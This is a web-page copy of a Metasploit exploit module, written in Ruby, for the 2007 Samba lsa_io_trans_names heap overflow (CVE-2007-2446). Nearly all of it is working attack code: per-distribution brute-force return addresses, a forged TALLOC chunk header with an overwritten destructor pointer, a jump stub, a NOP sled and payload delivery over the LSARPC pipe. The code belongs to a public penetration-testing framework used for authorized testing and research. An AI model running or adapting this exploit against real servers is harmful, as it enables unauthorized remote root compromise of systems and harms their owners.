CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/lsa_transnames_heap.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Exploit::Brute
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
16
'Description' => %q{
17
This module triggers a heap overflow in the LSA RPC service
18
of the Samba daemon. This module uses the TALLOC chunk overwrite
19
method (credit Ramon and Adriano), which only works with Samba
20
versions 3.0.21-3.0.24. Additionally, this module will not work
21
when the Samba "log level" parameter is higher than "2".
22
},
23
'Author' =>
24
[
25
'Ramon de C Valle',
26
'Adriano Lima <adriano[at]risesecurity.org>',
27
'hdm'
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['CVE', '2007-2446'],
33
['OSVDB', '34699'],
34
],
35
'Privileged' => true,
36
'Payload' =>
37
{
38
'Space' => 1024, # no limit really
39
},
40
'Platform' => 'linux',
41
'DefaultOptions' =>
42
{
43
'PrependSetresuid' => true,
44
'PrependSetreuid' => true,
45
'PrependSetuid' => true,
46
},
47
'Targets' =>
48
[
49
['Linux vsyscall',
50
{
51
'Platform' => 'linux',
52
'Arch' => [ ARCH_X86 ],
53
'Nops' => 1024,
54
'Bruteforce' =>
55
{
56
'Start' => { 'Ret' => 0xffffe410 },
57
'Stop' => { 'Ret' => 0xffffe413 },
58
'Step' => 1,
59
}
60
}
61
],
62
63
64
##
65
# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian) # KF
66
# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo) # hdm
67
# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
68
# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE) # Adriano/Ramon
69
# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware) # Adriano/Ramon
70
# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu) # hdm
71
# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP) # Andrew
72
#
73
##
74
75
['Linux Heap Brute Force (Debian/Ubuntu)',
76
{
77
'Platform' => 'linux',
78
'Arch' => [ ARCH_X86 ],
79
'Nops' => 64*1024,
80
'Bruteforce' =>
81
{
82
'Start' => { 'Ret' => 0x08352000 },
83
'Stop' => { 'Ret' => 0x0843d000 },
84
'Step' => 60*1024,
85
86
}
87
}
88
],
89
90
['Linux Heap Brute Force (Gentoo)',
91
{
92
'Platform' => 'linux',
93
'Arch' => [ ARCH_X86 ],
94
'Nops' => 64*1024,
95
'Bruteforce' =>
96
{
97
'Start' => { 'Ret' => 0x80310000 },
98
'Stop' => { 'Ret' => 0x8042f000 },
99
'Step' => 60*1024,
100
101
}
102
}
103
],
104
105
106
107
['Linux Heap Brute Force (Mandriva)',
108
{
109
'Platform' => 'linux',
110
'Arch' => [ ARCH_X86 ],
111
'Nops' => 64*1024,
112
'Bruteforce' =>
113
{
114
'Start' => { 'Ret' => 0x80380000 },
115
'Stop' => { 'Ret' => 0x8045b000 },
116
'Step' => 60*1024,
117
118
}
119
}
120
],
121
122
['Linux Heap Brute Force (RHEL/CentOS)',
123
{
124
'Platform' => 'linux',
125
'Arch' => [ ARCH_X86 ],
126
'Nops' => 64*1024,
127
'Bruteforce' =>
128
{
129
'Start' => { 'Ret' => 0xb800f000 },
130
'Stop' => { 'Ret' => 0xb80c9000 },
131
'Step' => 60*1024,
132
133
}
134
}
135
],
136
137
['Linux Heap Brute Force (SUSE)',
138
{
139
'Platform' => 'linux',
140
'Arch' => [ ARCH_X86 ],
141
'Nops' => 64*1024,
142
'Bruteforce' =>
143
{
144
'Start' => { 'Ret' => 0x80365000 },
145
'Stop' => { 'Ret' => 0x80424000 },
146
'Step' => 60*1024,
147
148
}
149
}
150
],
151
152
['Linux Heap Brute Force (Slackware)',
153
{
154
'Platform' => 'linux',
155
'Arch' => [ ARCH_X86 ],
156
'Nops' => 64*1024,
157
'Bruteforce' =>
158
{
159
'Start' => { 'Ret' => 0x8033c000 },
160
'Stop' => { 'Ret' => 0x80412000 },
161
'Step' => 60*1024,
162
163
}
164
}
165
],
166
167
['Linux Heap Brute Force (OpenWRT MIPS)',
168
{
169
'Platform' => 'linux',
170
'Arch' => [ ARCH_MIPSBE ],
171
'Nops' => 64*1024,
172
'Bruteforce' =>
173
{
174
'Start' => { 'Ret' => 0x55900000 },
175
'Stop' => { 'Ret' => 0x559c0000 },
176
'Step' => 60*1024,
177
}
178
}
179
],
180
181
['DEBUG',
182
{
183
'Platform' => 'linux',
184
'Arch' => [ ARCH_X86 ],
185
'Nops' => 1024,
186
'Bruteforce' =>
187
{
188
'Start' => { 'Ret' => 0xAABBCCDD },
189
'Stop' => { 'Ret' => 0xAABBCCDD },
190
'Step' => 4,
191
}
192
}
193
],
194
],
195
'DisclosureDate' => '2007-05-14',
196
'DefaultTarget' => 0
197
))
198
199
register_options(
200
[
201
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
202
])
203
204
deregister_options('SMB::ProtocolVersion')
205
end
206
207
def check
208
begin
209
connect(versions: [1])
210
smb_login()
211
disconnect()
212
if (smb_peer_lm() =~ /Samba/i)
213
return CheckCode::Detected
214
else
215
return CheckCode::Safe
216
end
217
rescue ::Exception
218
return CheckCode::Safe
219
end
220
end
221
222
def brute_exploit(target_addrs)
223
224
if(not @nops)
225
if (target['Nops'] > 0)
226
print_status("Creating nop sled....")
227
@nops = make_nops(target['Nops'])
228
else
229
@nops = ''
230
end
231
232
# @nops = "\xcc" * (@nops.length)
233
end
234
235
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
236
237
nops = @nops
238
pipe = datastore['SMBPIPE'].downcase
239
240
print_status("Connecting to the SMB service...")
241
connect(versions: [1])
242
smb_login()
243
244
if ! @checked_peerlm
245
if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i
246
fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
247
end
248
end
249
250
@checked_peerlm = true
251
252
datastore['DCERPC::fake_bind_multi'] = false
253
254
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
255
print_status("Binding to #{handle} ...")
256
dcerpc_bind(handle)
257
print_status("Bound to #{handle} ...")
258
259
jumper = "P" * 256
260
jumper[24, 5] = "\xe9" + [-5229-11-5-(nops.length/2)].pack('V')
261
262
num_entries = 256
263
num_entries2 = 272
264
265
# first talloc_chunk
266
# 16 bits align
267
# 16 bits sid_name_use
268
# 16 bits uni_str_len
269
# 16 bits uni_max_len
270
# 32 bits buffer
271
# 32 bits domain_idx
272
buf = (('A' * 16) * num_entries)
273
274
# padding
275
buf << 'A' * 8
276
277
# TALLOC_MAGIC
278
talloc_magic = "\x70\xec\x14\xe8"
279
280
# second talloc_chunk header
281
buf << NDR.long(0) + NDR.long(0) # next, prev
282
buf << NDR.long(0) + NDR.long(0) # parent, child
283
buf << NDR.long(0) # refs
284
buf << [target_addrs['Ret']].pack('V') # destructor
285
buf << 'A' * 4 # name
286
buf << 'A' * 4 # size
287
buf << talloc_magic # flags
288
buf << jumper
289
290
stub = lsa_open_policy(dcerpc)
291
292
stub << NDR.long(0) # num_entries
293
stub << NDR.long(0) # ptr_sid_enum
294
stub << NDR.long(num_entries) # num_entries
295
stub << NDR.long(0x20004) # ptr_trans_names
296
stub << NDR.long(num_entries2) # num_entries2
297
stub << buf
298
stub << nops
299
stub << payload.encoded
300
301
print_status("Calling the vulnerable function...")
302
303
begin
304
# LsarLookupSids
305
dcerpc.call(0x0f, stub)
306
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
307
print_status('Server did not respond, this is expected')
308
rescue Rex::Proto::DCERPC::Exceptions::Fault
309
print_error('Server is most likely patched...')
310
rescue => e
311
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
312
print_status('Server disconnected, this is expected')
313
else
314
print_error("Error: #{e.class}: #{e}")
315
end
316
end
317
318
handler
319
disconnect
320
end
321
322
def lsa_open_policy(dcerpc, server="\\")
323
stubdata =
324
# Server
325
NDR.uwstring(server) +
326
# Object Attributes
327
NDR.long(24) + # SIZE
328
NDR.long(0) + # LSPTR
329
NDR.long(0) + # NAME
330
NDR.long(0) + # ATTRS
331
NDR.long(0) + # SEC DES
332
# LSA QOS PTR
333
NDR.long(1) + # Referent
334
NDR.long(12) + # Length
335
NDR.long(2) + # Impersonation
336
NDR.long(1) + # Context Tracking
337
NDR.long(0) + # Effective Only
338
# Access Mask
339
NDR.long(0x02000000)
340
341
res = dcerpc.call(6, stubdata)
342
343
dcerpc.last_response.stub_data[0,20]
344
end
345
end
346
347